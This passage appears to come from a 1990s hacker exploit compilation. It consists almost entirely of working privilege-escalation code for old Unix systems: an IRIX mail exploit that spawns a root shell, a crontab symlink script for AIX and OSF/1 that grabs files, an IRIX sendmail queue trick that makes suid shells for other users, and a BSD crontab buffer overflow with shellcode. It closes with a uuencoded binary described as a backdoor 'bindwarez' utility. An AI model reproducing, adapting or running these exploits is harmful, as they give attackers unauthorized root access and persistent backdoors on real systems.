fprintf(stderr,"failed.\n"); } else { fprintf(stderr,"succeeded\n"); rhost_root = 1; } } if (!rhost_root) { /* failed to rhost root, try user 'bin' */ fprintf(stderr,"Too many failures.. trying user bin..."); if (!rhost_user("bin")) { fprintf(stderr,"failed.\n"); exit(-4); } fprintf(stderr,"succeeded.\n"); strcpy(userid,"bin"); } { strcpy(userid,"root"); } fprintf(stderr,"now type: \"remsh localhost -l %s csh -i\" to login\n", userid); } --------- cut here .......................................................................... . . . 2. IRIX Root mail exploit . . .......................................................................... ---------- cut here #!/bin/sh MAIL="/bin/mail" RM="/bin/rm -f" CC="/usr/bin/cc" OS="IRIX" if [ ".`uname -s`" != ".$OS" ]; then echo "this box is not running $OS !" exit 1 fi echo "creating rewt.c" cat >rewt.c <<'EOF' main() { setuid(0); setgid(0); system("/bin/sh -i"); } EOF echo "compiling..." $CC -o rewt rewt.c if [ -f rewt ]; then echo "done" $RM rewt.c else echo "unable to compile rewt.c" $RM rewt.c exit 1 fi # make dummy mail file for -f echo "making dummy mail file" cat >dummymail <<'EOF' From mr.haqr@bogus.host.edu Sun Oct 30 00:00:00 1994 Return-Path: </dev/null> Message-Id: <m0r1RBj-0003gkC@bogus.host.edu> From: mr.haqr (Mr. Haqr) Subject: Irix is secure!!@#%$^ To: root (root) Date: Sun, 30 Oct 1994 00:00:00 gimme sum rewt d00d! <insert l0ck motd here> EOF echo "running $MAIL, type '!rewt' to get root, exit with 'exit' and then 'q'" $MAIL -f dummymail echo "deleting evil files" $RM dummymail rewt rewt.c exit 0 ----------- cut here ............................................................................. . . . 3. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX . ............................................................................. [crongrab] [public release] Crontab has a bug. You run crontab -e, then you goto a shell, relink the temp fire that crontab is having you edit, and presto, it is now your property. This bug has been confirmed on various versions of OSF/1, Digital UNIX 3.x, and AIX 3.x If, while running my script, you somehow manage to mangle up your whole system, or perhaps do something stupid that will place you in jail, then neither I, nor sirsyko, nor the other fine folks of r00t are responsible. Personally, I hope my script eats your cat and causes swarms of locuses to decend down upon you, but I am not responsible if they do. --kmem. [-- Script kiddies cut here -- ] #!/bin/sh # This bug was discovered by sirsyko Thu Mar 21 00:45:27 EST 1996 # This crappy exploit script was written by kmem. # and remember if ur not owned by r00t, ur not worth owning # # usage: crongrab <file_to_grab> <destination> echo Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX, others??? echo if this did not work on OSF/1 read the comments -- it is easy to fix. if [ $# -ne '2' ]; then echo "usage: $0 <file_to_grab> <destination>" exit fi HI_MUDGE=$1 YUMMY=$2 export HI_MUDGE UNAME=`uname` GIRLIES="1.awk aix.sed myedit.sh myedit.c .r00t-tmp1" #SETUP the awk script cat >1.awk <<END { new= i%2 if (new == 0) print \$0 i++ } END cat >aix.sed <<END /^crontab:/d /^$/d END #shell script cat >myedit.sh <<EDITOR_END #!/bin/ksh rm \$1 ln -s \$HI_MUDGE \$1 exit EDITOR_END chmod 700 myedit.sh #save old vars oldedit=$EDITOR oldvis=$VISUAL VISUAL=./myedit.sh EDITOR=./myedit.sh export EDITOR export VISUAL #do the exploit@!&*&*(!@*(& if [ $UNAME = "AIX" ]; then crontab -e 2>.r00t-tmp1 sed -f aix.sed .r00t-tmp1 > $YUMMY elif [ $UNAME = "OSF1" ]; then #FOR DIGITAL UNIX 3.X or higher machines uncomment these 2 lines crontab -e 2>.r00t-tmp1 awk -f 1.awk .r00t-tmp1 >$YUMMY # FOR PRE DIGITAL UNIX 3.X machines uncomment this line #crontab -l 2>&1 > $YUMMY else echo "Sorry, dont know your OS. But you are a bright boy, read the skript and" echo "Figger it out." exit fi echo "Checkit out - $YUMMY" echo "sirsyko and kmem kickin it out." echo "r00t" #cleanup our mess crontab -r VISUAL=$oldvis EDITOR=$oldedit HI_MUDGE='' YUMMY='' export HI_MUDGE export YUMMY export VISUAL export EDITOR rm -f $GIRLIES ------------- cut here ............................................................................ . . . 4. IRIX mail exploit to make you any user on the mahine - BUT NOT root . ............................................................................ ----------- cut here [irixmksh] [public release] There are bugs in the IRIX mail proggies. This sample script exploits them to give you an suid shell of any user on the system, EXCEPT, for uid=0. Obviously, this script should not be run if you are a clueless script kiddie and have no clue what is going to do. If this script causes any sort of harm to you, physically or virtually, them members of r00t are not responsible, and in fact will probably laugh at you. r00t -- you may not like us, but your girlfriend does. Script kiddies cut here --------------------------------------------------------------------------- #!/sbin/ksh # usage: irixmksh <user> - creates an suid shell of any user on the system # except for uid=0 FILES=qfAA12345 putq /tmp/x usr if [ "x`uname -s`" != "xIRIX" ];then echo "this box is not running IRIX - later..." exit 1 fi if [ "$#" != "1" ]; then echo "Usage: $0 <non uid=0 user>" exit 1 fi TargetUser=$1 # Make the mail queue files cat <<_r00t-text_>qfAA12345 P0 T830896940 DdfAA12345 Bblah Mdeferred: just cuz... C$TargetUser Sroot R<"|/tmp/x"> H?P?return-path: <root> H?D?date: Tue, 30 Feb 1996 12:34:56 -0400 H?F?from: root (root) Hreceived: by hackerz.dom (HackerOS/UCB 5.64/Hackerz Domain id AA12345 for root@hackerz.com; Tue, 30 Feb 1996 12:34:56 -0400 H?M?message-id: <9602301234.AA12345@localhost> Happarently-to: root@plato.coolcode.com _r00t-text_ # Make the script to run with euid=mail cat<<_r00t-text_>putq #!/bin/sh cp qfAA12345 /usr/spool/mqueue touch /usr/spool/mqueue/dfAA12345 chown root /usr/spool/mqueue/*5 _r00t-text_ chmod u+x putq # Make the script to create the suid shell cat<<_r00t-text_>/tmp/x #!/bin/sh cp /bin/sh /tmp/b00sh.$TargetUser chmod 6777 /tmp/b00sh.$TargetUser _r00t-text_ chmod u+x /tmp/x chown $TargetUser /tmp/x # Make the script to grab suid mail shell cat<<_r00t-text_>usr #!/bin/sh chgrp mail b00sh-mail chmod 2777 b00sh-mail _r00t-text_ chmod u+x usr # Now snag mail access and send the queue files. cp /bin/sh b00sh-mail export PATH=.:$PATH export IFS=/ echo "blah" | rmail $LOGNAME export IFS= b00sh-mail putq mailq # Clean Up: rm $FILES -------------------------------- cut here 5. The Root BSD crontab exploit ---------------- cut here /* ** BSDI/FreeBSD exploit for crontab ** ** For BSDi (Tested in 2.1) the default offset should be OK ** For FreeBSD, the offset seems to be around 1000 ** ** I didn't find this hole, I only exploited it. ** ** Brian Mitchell brian@saturn.net */ #include <stdio.h> #include <sys/types.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #define DEFAULT_OFFSET -1050 #define BUFFER_SIZE 100 /* MAX_TEMPSTR is 100 */ #define HAPPY_FILE "./Window" long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char **argv) { int fd; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50" "\xeb\x18" "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02" "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04"; /* * The sscanf line reads for 'name' as %[^ =]. Neither a space, nor * a '=' character appears below */ int i; int ofs = DEFAULT_OFFSET; /* if we have a argument, use it as offset, else use default */ if(argc == 2) ofs = atoi(argv[1]); else if (argc > 2) { fprintf(stderr, "egg [offset]\n"); exit(-1); } /* print the offset in use */ printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs); buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (unsigned long *)ptr; for(i=0;i < (878/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr++ = '='; *ptr++ = 'X'; *ptr++ = '\n'; *ptr = 0; printf("Writing to %s\n", HAPPY_FILE); /* * The sleep is required because as soon as crontab opens the tmp file it * stat's and saves it. After the EDITOR program exists it stats again * and if they are equal then it assumes changes weren't made and exits. */ fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666); write (fd, buff, strlen(buff)); close(fd); execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL); /* Successful completion */ exit(0); } ----------- cut here ********************************************* * Appendix VI - UUENCODED FILES * ********************************************* 1. Quantum's bindwarez utility uuencoded Bindwarez binary file for use with Quantum's PHF guide for login shells in the PHF section here. begin 664 binwarez.zip M4$L#!!0````(`'>"0B)K$\T.%CD``.QW```)`!``8FEN9'=A<F5Z55@,`"GG M]C("$_4R`````.U]>UQ41]+HF6$&!QP<5#1H4$<C$9.(X"MB-,IC$#8((\-# MHX8@C!X(`@MG?.2*8@82QLF8B4DV^7:3K*S9;]W-8]W=:$A,%!\!\]B$&'?C M%]TLV9CD3,9DW3P0$9E;5=UG9D#-XOV^W^_>/R[\ZO2I[NKNZNKJZNH^/>=L M-66EJU0J0?E3"R$"88]I=+,@>$YB\;,$HZ`5XH110I002CA`/=``[()[!"V` M!B`$X"0"I"&,A/N1/$W%@?X@#2'L/D%`P/Q")$N/!#SRDD:'T`$5[IHL4+V8 MKH;`_%,`E5:'X`8<(937,;VB;/7TBM)I%665MHWQM57QB<+Z5(B_FU>[@(>W M`.0`+`;(`I@&,!,@%Z`0(!S@)H";`3#_(IYO*<!"?K\$(`W@=H!8@!$`>0`Z M@-LXS7*`N_A]&,!D?J_G80CG>RC`?&P;C[\3P``0`Y``,(_'+P-(![``3`+( M!I@-4``P7`C\H<R',)$)TWG<,(`)`I?UC_S=&'2/\H[B]S."XL<"F`"2`>;^ MF_)^[&_,5>)">7C#@/C1`+<"3!D0/Y6'<5<I*Q$@'F`.Q\?S\`Z`<0`10;0I M/$0=C.;WLWB8-*#<G_!P%$`^@!%@(H_+Y&'&5?C!/GIJAT:'?(S@]1P''-,F M<?Y0KQGMOWS8UNA'-+JUG![;$@=XA8;ABP#$1P+Y49]QW&@HOY[TM9Z7/P(T M`G5;=`?H5P'(@-_,R[<"=`/^)L?78?V/!NAMF#\(_U_8GB#\`8`]@'^J8OFW M(S__4.H/I[&Z;">S+YC^I(!C)=#>%R%L@O1ZGOXZE@?\;^0X\M4"^%2.OPUP M"O`X7O\'V![`Y_+TC[$]@-_$\<\`="`O&\?/`W2"O)F\A@L]$)[EN!%["]HA M`Y['T_6`SX7\6WC^$8!G!,E_#.#+@O#Q@&\$/$/%\,D0SE<'ZKL5\"9(WQO" MRDL"_"G`E_'\BS#]4XWN3JHO3%@,^!Z>CO39@+<$U9<'^/$@_&[`3P$^A]/? MB^T!?#5/MP+>#?B?>'HMX+H@_=@$>'00OA7P.'>`OP=1'H"G\_P[41[N0/\^ MB_)P*_TO"+]6!?33"/KY(LHGJ/Q]V-Z@\E]#>0!>P?$W`5\$\E-S^7V(\@BJ M[^^`IP7)]PN43U#Y7I0/X/_B]-^A?`!?R?%>;#_H;X::X2$0Q@&^DZ>'`3X7 M<#,O+Q+PC"#]'P7X,L!G<?T?!_A&P&_C^2<#W@3X&8['`]X">"K'YP)^_%$V M'K&\%,!/!96_&'#YT<!XS0:\.XB?0L!U,'Z6</M@!3P:\%\H_8OM`3Q/Z5]L MS\Y`^8W8GIV!^EV`BSL#_?$?V![`6_2LO%\!_M1.13\%X47`]P`>R?$_8?N" MRF_!]@7AA[!].P/V[2VL/ZC__@O;&T3_=W5@?%+_`J[A]@7MQ]=J-IX5_/L! M.$ZX>R<$X>`O2-::=27%U>@MS!!JI9J2ZDU"656)5"$4I2W/3EZ2F2JLM4K6 MRO5"41$D2U451665D*FRN$)85UQ1454""9!<5E-5*4!2F21LJ"F3K%A69<FZ M:A9"H3561KVFJMI:*:PIJ:BJM0H2E2T)16L@IU`L63="_J+%63DIR5E%.>GI M%E->45YR2I:I2*`D8+@$69TMV"IK&5NKL9+J&F!J#;)HK;"62%BIM::FJ@9B M5M>6%M66K45^BXI*I$W5UJ+5`B165@E%F3G0IE)`L'AK2850S7*5VJI!&!56 M:[5052T5UZQ%&8A5M=+J3<6EI35";57)?5:HA556M+%6*@;>:JW6^X02L6I# MI;#Z?FM-%:17EF+.TJIUQ665E<7KK)"\KJH4F,?[XI(2:S5D+\)6,=&5K(%6 ME=566ZVE`C2IU+I14&2[AK=Q-41#R1+R4$79UU3;BDJJ*J6:J@I60!4K`%*1 M%@2/]];*BJJU`HD=;_S2JX*^J2BKE;!3JFKN8_T%S0&^L7CHLN(*J0S8+:NT M2D654E6Q()5`8K$DU0B44+NIEDH4;=!2:+Q?5M1*P&JM->LYM@;0$H6"8FIY MNR`.N*YA<5+-&BH:.U2"]I5L$(I(`4AYL/5EI<!&+6=#Z5C0SJH-UAK62LC! M>AE:NA'D9"TMEHI)(6JAUXMK,`K$\\2'*3A&M&/97*>-87.4=B*SM=K9S*9J M;V=C3YO/QJC6@KZ?5C<$YS0,H]`?@7`4^L40XEC&<#3ZV!#>@/XMA-'H)T,X M!OU9"&$PK\00'--[,03'K!1#<(9$#,%IK<`0',-J#(V"(&$(!F$CAC"Y;\80 MG/!Z#,%X-6`(SE,3AN`</(SA5%PK0`C._^,8@C/Y%(9@G)_&<!JN92`$)^LY M#,%QWH,A..`O8`@._%X,P1%^&4-8,+1@.`O]%`AADFW%$)R/8QB"TW@<0W#> MW\40%A4=&`[%-1*$X(2>PA!LZ1D,80'0B2$L4LYB"$95QA`6'.<PC$!_!<)% M@O`]AN!\=V,(CGTOAKA@@/X9`HZL!D.85'08PB)%CR$X[)$8PF0=A2$XB]$8 M@J,:@R$XKD8,?X)^"H2P<(G#$-R@VS"$A5("AK#PF84A+#+F8@B+D/D8YJ"_ M`B%,1FD8@O.9@2$LJK(PA$EG8?F,JB$[;(\_U_-+B[P"%.B((/AF)P#WOMA9 MW`_TQ:)6B7CKZ?3!7RQJEXAIG@["4<M$G&(\K82CMHGH2GOV$HY:)QH1WT4X M:I^(+J+'33AJH8C+*D\]X:B-(KJ,GFK"42O%18C?2SAJIXCNO,=,.&JIB%.N M9Q'AJ*TB3I&>!,)1:\5[$3<2CMHK8H,\D82C%HO5B`N$HS:+Z.)ZSO<ACEHM MUE/["4?M%INH_82CEHMN:C_AJ.WB4]1^PE'KQ5W4?L)1^\4]U'["<12(>ZG] MA.-H$%NH_83CJ!!;J?V$X^@0CU/["<=1(G90^PG'T2*>HO83CJ-&[*3V$XZC M1Y2I_83C*!+/4_L)Q]$D=E/[+R/>0OVOPO83_CKU/^(=A+=2_R/>2O@QZG_$ M]Q)^G/H?\5V$OTO]C[B;\`[J?\3K"3])_8]X->&GJ/\1OY?P,]3_B)L)[Z3^ M1WP1X6>I_Q%/(%RF_D?<2/@YZG_$(PD_3_V/N$#X]]3_B)_O1;R;^I_:3W@O M]3^UGW`<Y:*;VD\XCG;Q*6H_X3CJQ5W4?L)Q](M[J/V$HQ40]U+["4=K(+90 M^PE'JR"V4OL)1^L@'J?V$XY60NR@]A..UD(\1>TG'*V&V$GM)QRMARA3^PE' M*R*>I_83CM9$[*;V7T(<K8J(>P^>3L+1NHCH\WLZ"$<K(Z+K[6DE'*V-&(WX M7L+1ZHA&Q'<1CM9'C$/<#?A3XJ_V;'K[[M\L=WSFZ'2\K3H!_QWV5DWBU_GY M^8[/S9:E+3C6#J`!^G.],VVR;C<N60RO:'$V-,LKH4C[,8W\/?`NXN)6#N<Q MMT#I,B[_S?(4B%KA>AG]:($'*&`HT'N!XY8#<="O]@5X%:0(MS/$UV$_JK'? M(=B^7W'4->>HV^T&?NSGC(4%EG;3.<Q^`#>,VDV=QX&A=JUYA%97<:,6[HPW M*'=Y$-<T`N]F&;2ZN!OP;E$DNVO&;+LWJU%:P+<SOS/7(J^[C,SK[=T^0P,N M7UP9A^T7IQL>\D!]OLFNVQ[7Z%QS)OQ,H],/@*@GKHP;+,C_C;P*G'N\/W[\ M&F6>@GCG;/1H#B5"JU_%_:_>/<)W_VEH1)OAT[X`4O%\!9;(-8?3S4&Z(0J= M+:(^8C*(;[CG32!R<YH%2!,VD$;M:0ZB24<:W4`:C:<NB";[JC0ZS_(@FH+^ M-*6,)M(S&VG:M7LNL160)Y;A>Q5\%.+B/9!;M.%E!U[0QY,W]&"O1WJ^@]YW MK1?,XN/^I)64I)?GXX#YD*4WHP,X]2AHC"OJ`4=^IWT!"DTP-."&@/V2:DNX M'('D_R$0:BL2_\`4S*DVR\]?P@)UC:TVB6+*A?+P<A@CN[N)AS6[/X:RUD#R M.)9!W.?GI>,BC*@_81W']&N:D>[!8]Y$UQPJ7GP/!]\2?^FCQ;_X,SX)&<M5 M,HY_YR(=JP+J596KY:>A6D<[%-CHJQLI7L(RDKJ)NN82ZD"YQF4Z9RY7EZL* MY6HL)E(\!;D+9<M%K,G8V%H7)0[]#+*I6;8[+I&,D+[S(F>F;K@8B21_OT`D MT4#2;I+19W&[3+*9E]B,K+0A*UU0Y@V8X266X<L>*E/^)10(37NG7"B0=T-2 M@3P-BBJ4IU"K([U#77,:3V_1RH]`R>71Y5IQ/!;BZ<;JSF)U+M-9LVO5>4NY M(-=2QT8#<W'-:`3,XLV?*?):"SG$6S'O-,;`@\C`'/L"TB4IB@LE#"0HR'=3 MQT6U:],BF<MFD;>"84IL=5E/KKBGR'%NU5'@'6R7>+N_@E"L(-V/7H!:1+,? ME1%]P(_^UP62M-CDCVE'@AU^M(4Q>1BD@S9RVSF<+0HL/NV]8/J:\;*['B[` M;;1\!L0`-T;Y0W9SD_PVNYDB'XY$S3)ZM?)6<`\-![7B<+#(K9H].MO7VT=5 M`V(X>(3A?X/46G_J^X!M\&.'NXYHI)CRT&8TM&;Q&Q"9W(9-(,L;"OW;17F# MB;Y'HN8!1!L&$/4@T>8!1.(`(AF)"@<051/1:.\0UQQY-RR$FE$<25H)KIN_ M4;BYP:M#';,'TC?S]`W!Z26!](T\G7@P-)R#OF<T"P,TU?UIT&]LGH^<RI-H M(&L:6PV-?Q1P<:=2DES/H"=LD>_M(MOCVH>.(90;1%(@IT*BO#U0W(=H;(Y% MPO!8VX]N*"NDL54*XUS87@DBL,A?_:`0Q,OS^C-BD?_L3QQ.\19>VYL0WX+N MNNO7W6`45]R#:@ZZIW1(RA7*UZ^#]O\0W$'4+T-O'B`S&CASF#[#N'*:P#O` MR@7;4'(>6+K9U2C`8#++G_U`MN%L8BLF\'&@PG'@7*63/X7E\^YE4"Z,]Y'B MDS!TFM.H(<MN0;'I#(="S#"J4S5F^?[OE"8/<0I>`\C=B=&/D20TY0O-8GTH M#+JCW_M\;=I#<"N4+Q);PR'J/)"P.VH?&A<IT@G3"<7-^):LH1P**_2V1NQA M0>GHQ;UH^<I5)%QHA+9E+W!H%EO0!)5#198"5FDYK/*;L1EFSCX^LH$NZ%.Z M@+6[6B,(Z"8U]H)A1%G)23<*0I?6`GVCLNEAM(?(J<.IX7"ODMOU9`(FR`?9 MC5:.A=1V;0;2"Q0U4?Z5GIF'4+=<-)GL0U6P?5@*2-<1G5351?$:*1JLA5<O MSV2T2P.T783H)%.7EB9N:8;X!G8(Z8=\`)KK'(7W":V.CWI?127[]B7'\0L= MKC2U;S<F$-OR#N)'PTICK5+)Z\B&Z5S/8,LMHC$/%4=OEC\_#Z/E^U!08'$B MQBW1+94_.(\DA-;I"^4CY[%_)I=K+#`AJ[A\Z[Y%TUH>)9\]3S>CY=.,3-0= MACETN/PNQJO%#[&GJH%UQU$<A*<WCRX7Q$EY.!F48S5RP_<T18EGD/`W5`8, M?2D\X*^(GT(2:',?:O/L5&J'O5ME6^=RX<+`X>K&F?69;FJ8!XN)`2)'FT4\ MAX@!D48WI?X3(_I2(`*XB;:_@;&"-,9)-_4+!6E8(=/)9__)9NC3MF$'OH5, MWB$'OH,@L8N2"^2WIS`V%A"3TLCZ.R"O6`_3I46^/X[2G*-$<+4;3T@WN%)4 MYN;G+J'B(H6L(H77MVLQ#F,23A_$P'&AZ92_7]^^<,+1D;$;RV#JH)+FBT// M@KL4@5V]5'[^6T4?''_ME_.="Q\ZGGD<99(WUN<8Q14#?#'<T:Z+L"_`,@7# MPSTP&;N>.`6$B:WD-H)6??>\ZXD6B`G&G^J'-^."(8E,E"V,E[5E&.B-X7D7 MYO3JP3^NTQN>?P-+;C:3X<*%!U(3"UOTH'F&YQN).ISE1%K[@JSA:,7"G740 M]0966RZX&C$$8];"`B0TET?*7R\"?HZ`>]%X8NMD>X_/!NVB+7]#PP@0`XS4 M`]^0+GE"?-PW!8X-NZDXP\[6ID:44`,I6A8?S<X(1D/<&'8>;G(1S5N&AC^0 M^0?C(>*BB0^!GX..[,86D5&L&\T8&&J+:->^P!\>>*/=O-&&'4XU6@YEX<7Z M5"O-;<9DLWC+6?]`/W%^$`-=SPK02&-8`<U8L%E,AF+D'Q:0)XQ2WMUXJG][ M#0W;5$I;6L%R.I?HE\H=("K'$0<I+#;F1-U$YRALC+UGJ*2U]VAMP]NUU-.T MFP,%H,_'U&@'^MU=6BQ++4V7+T\$.2Y`'MN&^'RD)M2L-N%;AC'US71$S#6@ M%'Y*)C%M^R@LH.M(@I1$6SZB#RY-':VRUMZI,I=/%'N42#$M(*D]_PR:+8V^ M")'6MCBJ#D-I'GQL[':.P_26.$B:>@K,AF''#O0-D,BP/])'U-F.V9AU6P]6 M8`MK"PGFO"F2(?:>"%M&E]9,1G6AHOEQ5-+VR/J><%N,GQ[C6"[&E-?@YE(0 MN!2HPL8NPR.X3P!3./14RP#-C*(LM](*O;$5O'<KR%890UIYH0K--72QJV6@ MNN+^23..N5MI\0^>U([+N.DP=P)TWW=\'2+(4\?A'-EP">?((NZGR%%`(SNC M<#1@"3X:N\Y1SXW6ZO9N!6NFWJYN4@5\=_DL.!#RBBOHCR%]S%7H7QX_D/0D MDHX-)@4Z9H?%I8'./O#UOQT6SKI>9:Z7CX\<6,^[6(]F0#T6SSLP%("WEHH) M*"\D)2TY`M$TJ`S[HWTT;'_B&(6R;U[6JP$2G>&A=1K<^VB,^S7N?:R%ZPL` M60!S]VATU0`K?ZO1E0)4`$B_Q;T8S(N#J/&TH2%7@ZO@<$-#)MQLNT2Z-YR1 MH#7RS-#0.+L481O)U$YC"V?)^%R;^K<IFC7.$TJT+GL4[C%UCS0\]'@(\7:, M>%,!+WJ`:(#O?Z/1Y?R6P3*XG_N?&ET4P&:`90#ZWS#`]*<@?!G@&,!)@+,` MDZ$,Q3\99A'O18,3%TLSGOPZ>+R>L2$D3TYC:,"'[YQ.8'2>5C(9_<LX.YF5 M@=.\YZ_JX#+\-*V<ICH&=.Y+\,2:7QB-ZBV-W![9<$**8#*)9#*1:T"]^:@; MC"7B[*[`9]G?HJ%9AU4N855ZTB#:/9"?!,Y/)SB1<N%P[,4+V(M#FL\`7UYM M\UD(D#5#@T:M=%FD!X^^75'6V9NH+#ZWC(`2=^.\%+Q<:!B!YEGC02_?S32! M-OJT9M2JH:`&Z-."W%@:[F!YO@[0XHDIS]\"..Y<>?X<P.G1R1LJXJV,K<KP MX(C\$E@33QK&RW?@;1+9?]D'=L,SC>[[Z^(8BN,*'<G*QB?QGF(LHQF972!$ MP,"RX^8X9L,H3RKC?=LEM/^&!MQ<965(*P-Y:L=19R(>%*E3"J$X>VO?;@QW MY_72]B<7CCPZ3!""AM?[O<PO"!03YB\[(%S/"SC6`C3CKU8_9#P_"`:>T"D, MD&^0[[;(_\";T;#6!/7P#K/(<Z#3O*$6^>XAP:30Z=XIM/]V/Z@*K%%R9##P MF,IBY.F?TT;'*1E-)!JIQA.&1W"?V;FJ-V![<<%GK],+4E+]@?D&=+7"NNS, ML!1LIQM8A639+X7:PNMC"P"]X`USZW5-E-1GQRP6<4ZOWR)/E97I-\3OD$1* M0RWB8\C32/0$6/5HSVFYF=B5Z`M2_%\BG==(BK^=RH=I[[:F(WUO-SV&V'R5 M-)YS*.DT?4U$PGDW-*+NL52=H5%+.XQ3#`^=QF>#DY]Y_7<:G7OE\V!W`1X! MV,%#A%-!]_\=V/%OTA#JKT&+N'Q3!*XAY1A8G,F+X3X=>SH&QF.6HB2&^@@! MQ!52'Z'#(+VQ2QI>[Z1&E\,:ZF:PEM[)K&\`]T:Y<5]U=*``6OS%D`[I6#Y- MHT]2^SYR6;]7-N'F!.O&+0-U0UJLZ(:T8/*%_LIP1T`98KZXAC*\B)T<.L&O M#`%=#-*$`TB$>Q'_7A-L5VK"MB!-:)`43<BF1Q//'']!@WM/&U_4Z$0`_4O] MP7V5N/\3:/TWY9R$]*<YC3R`MO=%M!-9BF5Z`N<'&0\`@).&!W+E6X<R([#% M-8>/3,_C0+1=B[HQN5>O:J*[[5J='\<[;[9K3O`$@OM'WGG]XW"OSWMS_SC< MW_..Z!^'>WI,$9J.U/_C0M-CI!,P+E$-#\#$7[\;8R[Q7G8/T*F,R""=4MD4 MG5+;%NC5BDXAC45<%-"IXY]=0Z?>0G7Y8\P`G>(F)DBM/D*Z[3%<K;#\@%HA M%E`K%3,P&,F9-31:_&JE-C2F*VHUAJE5S.\UNG<!7@>(WPN^$0^_@?![?C]8 MT%T'[?6`?%1']N7IH3B[P)S])X:_"[C\D8[;F[O`WJSDYB+=NX#6!A9Y?I_2 MI;W>/(BKCUB-@B@7RD?(^+R>X2JY(XK4]&^TOZ0'\S2"F1DU%G(!]`+6/JQK M,0)/[[%TE<O:S;;FKK`__77%;W_48'\N]]<54T!7GO[T&KKR&>K`@V-_W/[\ M"XF*QPY&46Q7*@J>1U84I6$7>[@E3=JJ:SPMZ;WKT8</D6[UKG/+,X>0L++" M>7_<Q/#>,+3_0]@83W?-V4X;DCC.+C>-PML]*DD/D@^13_31OE1]+,;V-6.W MS5+MQ@"\X`3:O[2#7^.-=0?&ZF4^5E5LK#[B[]B^H+%:8%&D,5&^#+WD'$7N M#'HP4SOLK6IS;OE\^>4QU,GDY!CV"\SEL;=>LG=/,CR4R59#L_X(ZZ"7-;KU M^_]G0/K3M=,F0SVM?PS@YP?4NV@?KE6JF2_[6UP1#3!\U)(D+;;2\&!3")Y$ M9XUJ:#4T;@SAGI_R)'+,&=JJ=!RE6(5T_FV2T3D*BV"^;5*'P;X@J*CYM]F^ M[%>/,00[G179=IJ*-%O*C?)X$*`G)(3\;_Y4Y`=U?YZK!_)\4MV?YV.TR82[ MY5EJK:X%+PLDN-2F!F5;/X=V/JB#\4A?5YI9!<K1C,?UG%%NVFS'512&V^C1 M`A91\P8EM`57X,G#A=H<OK-M:#"IN<B<$5A1TG&#?09$@:XXCA[^3!?D(V/2 M#2PI[.B`>%S%8)8CA_\Q,,M9EA1VA,7G6LHGR'BZU_..?VVAB.951LH(&UL- M#7BT!9?VC;^DY6<^#F9#`YY%EW^/ITJ:V%J&V*?^Q)[$H^[!`BY1]>\1G"K; MU&!4*9]9]*$AZ3BM+)/X^D+A*;8_3[81`V=8;YB]&R:;R\JB(\#(5T(P(U(8 MU[4:;[\*CN$V;9OCV\33@?'9K9)&;$7[$..M`%O4K99RO"5N8-HY#M,='WN7 M`9^`%\B/*(_>I'%@NR++598".8145(_/D`ODGYVB357G;,H)U7AC^K=Q_3A_ MQ4WJE&#>'BKW^7Q4RU1_+=%0RS"JY9F/P6J%05D%\@RHPS\YH&TJ%\1+Z,I. MDB\IC[?(ABO/L>2L8<J3(U];HPJN/6V-:@BT;8TA]#CI"0T$"6\9]A_NJB<S M+8UI4U]*:0I/J;]XWJ9I4Y^'&Q_>^%+\1#HDNGQUHK[#]1>GK/\]V[_42:/: MU#TI;>J)*=OIT1"T'*F1$$/V-,OQUZF?`*_'T)_[103--/X)J,!2?J=<`#.I MO"WBRN=6_J=Z=,Y'ATNI.IUSE=YIBY0_Q=G&-T'2V7U&::%WE=LQ;@]VS>SG MJ&L/_R/2\(JI.ZS#8>IVG%\#5Y>IVRQ&Y2F/R^2S?V7=>Q/(U#'N:<J["ZX% M\B<:?$KS'%SEY]D"0OY,#]Q9S_&%@]O/CXR_G#N(;+[:-%JK>^U1N!QZ'"X' MT*MP%^86./)['4NZY9_AMJX=:9Q+NMO2QJ@%N(30;G5^K_V(SMZNLQ_5I=O[ M1FQY.U`1K1]%7&ISIJ?_E\]W:#+@!S&REP[8?/=K4!H_??ED$=,IDWS^+\J3 MRQ$44:XT_@*4$]`G9[[>N232:=)EV+N'&Q[:3XY>H^Y56C_L>DVC0W@*T$7\ M'F$OX&:`97`O0E@/T`T0"7@<P'&X[P2HAOLF@.W:41&H(>TJ#/&7#M2U[NW: MD3Q^Y(#X*!X?-2!^.(_'L&5U('X$CQ\Q('X,CQ\SH)RQ/'[L@/@)/'["@/AQ M/'[<@'@CCS<.B!_/XS%LF12(OY''8]B2$HB/X?$Q`\J9R.,G]HL'B]*NHH-S M(?YGW_ZXP#-O^[DTT%,Q_G.83#(N0Y?)]WWD\]&M*T/G6/*Z:V-88A=Z?P\F M`8USR>M-JK8A"<Y11&%J!?]')3]UDNO1Y@6)IT$GMMM_`K1-0\K5O,R'/L(' M*?C@\,268137MD@K.3J\(]RI]DN&+>^!9ANV/,T."%CW!H^C.IT@#:V/T$/C M=!AIC\7;"_W3[;&HOG_'R/H(O#7V2Y_0K(.XV/?!>N@3=N.]/58#USZNXY0\ M^?T(//1*R?41F*SLA3=CB8=E[2R5O=,?AP3^"#9.*"X6?Y6X`"^&QUMC?7[9 M*[P8ME'92$`\;B-.?%_R`8=TS7JJ+RRX/IZ7&N^[S(C=VT@L>'@GD%<@'E3! 